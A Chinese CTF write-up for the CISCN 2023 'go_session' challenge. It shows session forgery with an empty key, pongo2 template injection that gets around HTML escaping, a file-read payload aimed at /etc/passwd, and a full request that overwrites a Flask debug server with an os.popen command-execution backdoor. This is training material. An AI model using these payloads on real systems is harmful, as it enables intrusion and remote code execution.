[CISCN 2023 初赛]go_session
[CISCN 2023 初赛]go_session
这题还挺有意思的,代码是基础的go的web框架gin,主要考查点是go的pongo模板的ssti以及对应的一些绕过,也顺带复习了一下flask的热加载(debug=true)
一、信息收集
其他师傅把这题的找漏洞思路都讲的很清楚了,这里就简单梳理一下
首先是go里面出现的flask函数,说明肯定要和flask结合起来考了,有用信息我写在注释里面了
func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name") //sessions值为session-nameif err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) //参数为name去请求http://127.0.0.1:5000/,请求方式就是直接拼接http://127.0.0.1:5000/{name的值}if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}
这里有个知识点,就是http://node5.anna.nssctf.cn:27068/flask?name=
这样实际请求是http://127.0.0.1:5000/{name的值}
所以我们如果http://127.0.0.1:5000需要带什么参数去请求他,实际上我们的请求应该是http://node5.anna.nssctf.cn:27068/flask?name=?name=1
,这样的请求就为http://127.0.0.1:5000?name=1
了
其次就是admin函数,我们需要突破sessionskey的限制才能进行后续的ssti操作
func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" { //需要我们知道key是什么才行,然后伪造sessions,现在网上我没找到对应的暴力破解工具,有没有师傅能分享的http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti") //我们需要传参数是namexssWaf := html.EscapeString(name) //html过滤," < 这种类似的符号都会被过滤,会影响ssti注入tpl, err := pongo2.FromString("Hello " + xssWaf + "!") //明显的ssti,模板是pongo2if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}
暂时信息就这样,我们比较好奇http://127.0.0.1:5000/内容到底是什么,我们去请求试试看看http://node5.anna.nssctf.cn:27068/flask?name=
回显了一个txt文件,应该是出题人就那么设计的,里面是报错信息的html,我们把txt保存到本地然后把后缀改为html就能看到原始整洁的报错信息了,得到/app/server.py源码
from flask import *
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']return name + " no ssti"if __name__== "__main__":app.run(host="0.0.0.0",port=5000,debug=True)
debug=true说明我们之后如果修改文件也能正确执行,我们又多了一条复写的路子
二、伪造session
回头来我们首先还是要先克服session.Values["name"] != "admin"
的问题,因为本题唯一的注入点就是pongos的ssti了,这一步网上普遍的思路都是假设key为空,然后本地搭建环境获取sessions的伪造值,我应该自己想是想不到还有这一手的,下面主要复现一下这个本地启动go环境的操作
-
1.下载go的环境,这个网上资料多就不说了
-
2.在
if session.Values["name"] != "admin" {
这一行上加
session.Values["name"] = "admin"
if err := session.Save(c.Request, c.Writer); err != nil {//关键点,需要用save手动保存http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return
}
这样就能获得key为空时的正确sessions值了
-
3.在源码目录下依次运行
go env -w GOPROXY=https://goproxy.io,direct
(设置代理),````go run main.go```(运行go程序) -
4.访问本地sessions端口,在cookies里面找到伪造后的session-name即可
-
5.用伪造的sessions发包,出现hello,ssti就代表成功了
三、SSTI
之后我们就能利用name参数去注入了,https://dummykitty.github.io/posts/Go-pongo-%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E5%8F%82%E8%80%83
这个师傅的文章把一些利用手法给讲的挺全了
主要的难点就是绕过xssWaf := html.EscapeString(name),我们实际在测试的时候主要遇到的问题就是引号绕不过去,下面我总结一下上面那个师傅的博客的一些技巧,具体原理可以看他的博客
任意文件读:?name={%25%20include%20c.Request.Header.Aaa[0]%20%25}
并且在请求头中加上aaa: /etc/passwd
即可,但问题是我们不知道flag在哪
任意文件写:还记得之前的server.py开启了热加载吗?那不是我们复写了他的内容就能构造rce出来了吗?这里我们用的是这位师傅的方法,原理也可以参考他的博客,下面的报文host改掉就能用了https://blog.csdn.net/m0_73512445/article/details/134261219
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:25286
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTc1NDIwNDMzOHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyLpkPZ0f5BZbPbDA373gcvF1ulf_rxrelMPLEcenvohw==
Upgrade-Insecure-Requests: 1
Content-Length: 431------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plainfrom flask import *
import os
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']file=os.popen(name).read()return fileif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--
如果成果的话会回显hello,
四、RCE
接下来在flask路由下用flask?name=?name=xxx即可rce了,本题flag在环境变量里面,所以命令是flask?name=?name=env